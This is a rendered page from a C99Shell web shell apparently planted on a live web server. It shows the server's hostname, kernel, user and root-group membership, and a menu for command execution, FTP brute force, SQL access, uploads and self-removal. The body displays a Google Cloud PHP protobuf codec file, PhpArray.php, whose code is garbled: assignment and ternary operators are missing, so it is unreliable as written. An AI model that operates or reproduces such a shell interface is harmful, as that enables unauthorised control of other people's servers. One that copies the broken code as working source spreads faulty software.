!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/multirest.picotech.app/public_html/vendor/google/cloud-core/src/   drwxr-xr-x
Free 29.37 GB of 117.98 GB (24.9%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     PhpArray.php (7.2 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * Copyright 2016 Google Inc.
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *     http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

namespace Google\Cloud\Core;

use 
DrSlump\Protobuf;
use 
google\protobuf\Value;
use 
google\protobuf\ListValue;
use 
google\protobuf\NullValue;
use 
google\protobuf\Struct;

/**
 * Extend the Protobuf-PHP array codec to allow messages to match the format
 * used for REST.
 * @deprecated
 * @codeCoverageIgnore
 */
class PhpArray extends Protobuf\Codec\PhpArray
{
    
/**
     * @var array
     */
    
private $customFilters;

    
/**
     * @var bool
     */
    
private $useCamelCase;

    
/**
     * @param array $customFilters A set of callbacks to apply to properties in
     *        a gRPC response.
     * @param bool $useCamelCase Whether to convert key casing to camelCase.
     * }
     */
    
public function __construct(array $customFilters = [], $useCamelCase true)
    {
        
$this->customFilters $customFilters;
        
$this->useCamelCase $useCamelCase;
    }

    
/**
     * Borrowed heavily from {@see DrSlump\Protobuf\Codec\PhpArray::encodeMessage()}.
     * With this approach we are able to transform the response with minimal
     * overhead.
     */
    
protected function encodeMessage(Protobuf\Message $message)
    {
        
$descriptor Protobuf::getRegistry()->getDescriptor($message);
        
$data = [];

        foreach (
$descriptor->getFields() as $tag => $field) {
            
$empty = !$message->_has($tag);
            if (
$field->isRequired() && $empty) {
                throw new 
\UnexpectedValueException(
                    
sprintf(
                        
'Message %s\'s field tag %s(%s) is required but has no value',
                        
get_class($message),
                        
$tag,
                        
$field->getName()
                    )
                );
            }

            if (
$empty) {
                continue;
            }

            
$key $this->useTagNumber $field->getNumber() : $field->getName();
            
$v $message->_get($tag);

            if (
$field->isRepeated()) {
                
// Make sure the value is an array of values
                
$v is_array($v) ? $v : array($v);
                
$arr = [];

                foreach (
$v as $k => $vv) {
                    
// Skip nullified repeated values
                    
if (null === $vv) {
                        continue;
                    }

                    
$filteredValue $this->filterValue($vv$field);

                    if (
$this->isKeyValueMessage($vv)) {
                        
$arr[key($filteredValue)] = current($filteredValue);
                    } else {
                        
$arr[$k] = $filteredValue;
                    }

                    
$v $arr;
                }
            } else {
                
$v $this->filterValue($v$field);
            }

            
$key = ($this->useCamelCase) ? $this->toCamelCase($key) : $key;

            if (isset(
$this->customFilters[$key])) {
                
$v call_user_func($this->customFilters[$key], $v);
            }

            
$data[$key] = $v;
        }

        return 
$data;
    }

    
/**
     * Borrowed heavily from {@see DrSlump\Protobuf\Codec\PhpArray::decodeMessage()}.
     * The only addition here is converting camel case field names to snake case.
     */
    
protected function decodeMessage(Protobuf\Message $message$data)
    {
        
// Get message descriptor
        
$descriptor Protobuf::getRegistry()->getDescriptor($message);

        foreach (
$data as $key => $v) {
            
// Get the field by tag number or name
            
$field $this->useTagNumber
                   
$descriptor->getField($key)
                   : 
$descriptor->getFieldByName($this->toSnakeCase($key));

            
// Unknown field found
            
if (!$field) {
                
$unknown = new Protobuf\Codec\PhpArray\Unknown($keygettype($v), $v);
                
$message->addUnknown($unknown);
                continue;
            }

            if (
$field->isRepeated()) {
                
// Make sure the value is an array of values
                
$v is_array($v) && is_int(key($v)) ? $v : array($v);
                foreach (
$v as $k => $vv) {
                    
$v[$k] = $this->filterValue($vv$field);
                }
            } else {
                
$v $this->filterValue($v$field);
            }

            
$message->_set($field->getNumber(), $v);
        }

        return 
$message;
    }

    protected function 
filterValue($valueProtobuf\Field $field)
    {
        if (
trim($field->getReference(), '\\') === NullValue::class) {
            return 
null;
        }

        if (
$value instanceof Protobuf\Message) {
            if (
$this->isKeyValueMessage($value)) {
                
$v $value->getValue();

                return [
                    
$value->getKey() => $v instanceof Protobuf\Message
                        
$this->encodeMessage($v)
                        : 
$v
                
];
            }

            if (
$value instanceof Struct) {
                
$vals = [];

                foreach (
$value->getFields() as $field) {
                    
$val $this->filterValue(
                        
$field->getValue(),
                        
$field->descriptor()->getFieldByName('value')
                    );
                    
$vals[$field->getKey()] = $val;
                }

                return 
$vals;
            }

            if (
$value instanceof ListValue) {
                
$vals = [];

                foreach (
$value->getValuesList() as $val) {
                    
$fields $val->descriptor()->getFields();

                    foreach (
$fields as $field) {
                        
$name $field->getName();
                        if (
$val->$name !== null) {
                            
$vals[] = $this->filterValue($val->$name$field);
                        }
                    }
                }

                return 
$vals;
            }

            if (
$value instanceof Value) {
                
$fields $value->descriptor()->getFields();

                foreach (
$fields as $field) {
                    
$name $field->getName();
                    if (
$value->$name !== null) {
                        return 
$this->filterValue($value->$name$field);
                    }
                }
            }
        }

        return 
parent::filterValue($value$field);
    }

    private function 
toSnakeCase($key)
    {
        return 
strtolower(preg_replace(['/([a-z\d])([A-Z])/''/([^_])([A-Z][a-z])/'], '$1_$2'$key));
    }

    private function 
toCamelCase($key)
    {
        return 
lcfirst(str_replace(' '''ucwords(str_replace('_'' '$key))));
    }

    private function 
isKeyValueMessage($value)
    {
        return 
property_exists($value'key') && property_exists($value'value');
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0045 ]--